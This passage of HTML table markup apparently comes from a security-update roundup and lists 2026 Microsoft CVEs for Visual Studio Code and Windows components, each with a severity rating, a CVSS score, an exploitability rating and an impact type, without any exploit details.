  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47284"><span>CVE-2026-47284</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47292"><span>CVE-2026-47292</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  MSSQL Extension Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48569"><span>CVE-2026-48569</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47287"><span>CVE-2026-47287</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Tampering Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Tampering</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42829"><span>CVE-2026-42829</span></a></td>
  <td width="256" class="xl68">Windows Administrator
  Protection Secure Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34335"><span>CVE-2026-34335</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45601"><span>CVE-2026-45601</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45598"><span>CVE-2026-45598</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45596"><span>CVE-2026-45596</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45638"><span>CVE-2026-45638</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45603"><span>CVE-2026-45603</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42911"><span>CVE-2026-42911</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45594"><span>CVE-2026-45594</span></a></td>
  <td width="256" class="xl68">Windows Application
  Identity (AppID) Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45655"><span>CVE-2026-45655</span></a></td>
  <td width="256" class="xl68">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45658"><span>CVE-2026-45658</span></a></td>
  <td width="256" class="xl68">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45640"><span>CVE-2026-45640</span></a></td>
  <td width="256" class="xl68">Windows Bluetooth Port
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45605"><span>CVE-2026-45605</span></a></td>
  <td width="256" class="xl68">Windows Bluetooth
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47656"><span>CVE-2026-47656</span></a></td>
  <td width="256" class="xl68">Windows Boot Manager
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44809"><span>CVE-2026-44809</span></a></td>
  <td width="256" class="xl68">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45634"><span>CVE-2026-45634</span></a></td>
  <td width="256" class="xl68">Windows DHCP Client
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45608"><span>CVE-2026-45608</span></a></td>
  <td width="256" class="xl68">Windows DHCP Client
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41108"><span>CVE-2026-41108</span></a></td>
  <td width="256" class="xl68">Windows DNS Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42905"><span>CVE-2026-42905</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44811"><span>CVE-2026-44811</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44808"><span>CVE-2026-44808</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44807"><span>CVE-2026-44807</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42983"><span>CVE-2026-42983</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44802"><span>CVE-2026-44802</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44813"><span>CVE-2026-44813</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44804"><span>CVE-2026-44804</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48566"><span>CVE-2026-48566</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44814"><span>CVE-2026-44814</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45602"><span>CVE-2026-45602</span></a></td>
  <td width="256" class="xl68">Windows Dynamic Host
  Configuration Protocol (DHCP) Tampering Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Tampering</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42836"><span>CVE-2026-42836</span></a></td>
  <td width="256" class="xl68">Windows Function
  Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42910"><span>CVE-2026-42910</span></a></td>
  <td width="256" class="xl68">Windows Hotpatch
  Monitoring Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42972"><span>CVE-2026-42972</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45592"><span>CVE-2026-45592</span></a></td>
  <td width="256" class="xl68">Windows Internet
  (wininet.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42903"><span>CVE-2026-42903</span></a></td>
  <td width="256" class="xl68">Windows Kerberos
  Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42914"><span>CVE-2026-42914</span></a></td>
  <td width="256" class="xl68">Windows Kerberos
  Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48583"><span>CVE-2026-48583</span></a></td>
  <td width="256" class="xl68">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45653"><span>CVE-2026-45653</span></a></td>
  <td width="256" class="xl68">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42984"><span>CVE-2026-42984</span></a></td>
  <td width="256" class="xl68">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45600"><span>CVE-2026-45600</span></a></td>
  <td width="256" class="xl68">Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45604"><span>CVE-2026-45604</span></a></td>
  <td width="256" class="xl68">Windows Managed
  Installer Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45595"><span>CVE-2026-45595</span></a></td>
  <td width="256" class="xl68">Windows Mark of the
  Web Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45636"><span>CVE-2026-45636</span></a></td>
  <td width="256" class="xl68">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50508"><span>CVE-2026-50508</span></a></td>
  <td width="256" class="xl68">Windows NTLM Spoofing
  Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48565"><span>CVE-2026-48565</span></a></td>
  <td width="256" class="xl68">Windows Narrator
  Braille Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44805"><span>CVE-2026-44805</span></a></td>
  <td width="256" class="xl68">Windows Network
  Controller (NC) Host Agent Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42981"><span>CVE-2026-42981</span></a></td>
  <td width="256" class="xl68">Windows Performance
  Monitor Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42974"><span>CVE-2026-42974</span></a></td>
  <td width="256" class="xl68">Windows Performance
  Monitor Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45487"><span>CVE-2026-45487</span></a></td>
  <td width="256" class="xl68">Windows Program
  Compatibility Assistant Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42828"><span>CVE-2026-42828</span></a></td>
  <td width="256" class="xl68">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42837"><span>CVE-2026-42837</span></a></td>
  <td width="256" class="xl68">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42969"><span>CVE-2026-42969</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42971"><span>CVE-2026-42971</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42970"><span>CVE-2026-42970</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42973"><span>CVE-2026-42973</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42978"><span>CVE-2026-42978</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42977"><span>CVE-2026-42977</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42979"><span>CVE-2026-42979</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42991"><span>CVE-2026-42991</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45639"><span>CVE-2026-45639</span></a></td>
  <td width="256" class="xl68">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42908"><span>CVE-2026-42908</span></a></td>
  <td width="256" class="xl68">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45593"><span>CVE-2026-45593</span></a></td>
  <td width="256" class="xl68">Windows SDK Elevation
  of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42906"><span>CVE-2026-42906</span></a></td>
  <td width="256" class="xl68">Windows Shell
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42907"><span>CVE-2026-42907</span></a></td>
  <td width="256" class="xl68">Windows Shell
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47648"><span>CVE-2026-47648</span></a></td>
  <td width="256" class="xl68">Windows Storage
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42915"><span>CVE-2026-42915</span></a></td>
  <td width="256" class="xl68">Windows TCP/IP Denial
